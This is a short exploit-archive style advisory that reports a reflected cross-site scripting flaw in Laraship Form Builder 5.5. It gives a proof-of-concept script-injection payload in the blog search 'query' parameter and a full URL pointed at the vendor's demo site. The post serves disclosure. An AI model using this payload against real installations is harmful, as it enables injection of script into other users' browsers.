Laraship Form Builder version 5.5 suffers from a cross site scripting vulnerability.
0c8eb80860b09daa5320004afc6b64bbae003a46b40cc8bd6ef85272b82bc6c2
============================================================================================================================
| # Title : Laraship Form Builder 5.5 xss Vulnerability |
| # Author : indoushka |
| # Telegram : @indoushka |
| # Tested on : Win 10 X64 /Fr(Pro) |
| # Vendor : https://codecanyon.net/item/laraship-form-builder/21301038 |
| # Dork : n/a |
============================================================================================================================
poc :
[+] use payload : /blog?query=1'%22()%26%25<acx><script>alert(/indoushka/);</script>
http://formbuilder.laraship.com/blog?query=1%27%22()%26%25%3Cacx%3E%3Cscript%3Ealert(/indoushka/);%3C/script%3E
Greetz :----------------------------------------------------------------------------------------
|
jericho * Larry W. Cashdollar * 9aylas * djroot.dz *Gjoko 'LiquidWorm' Krstic |
|
================================================================================================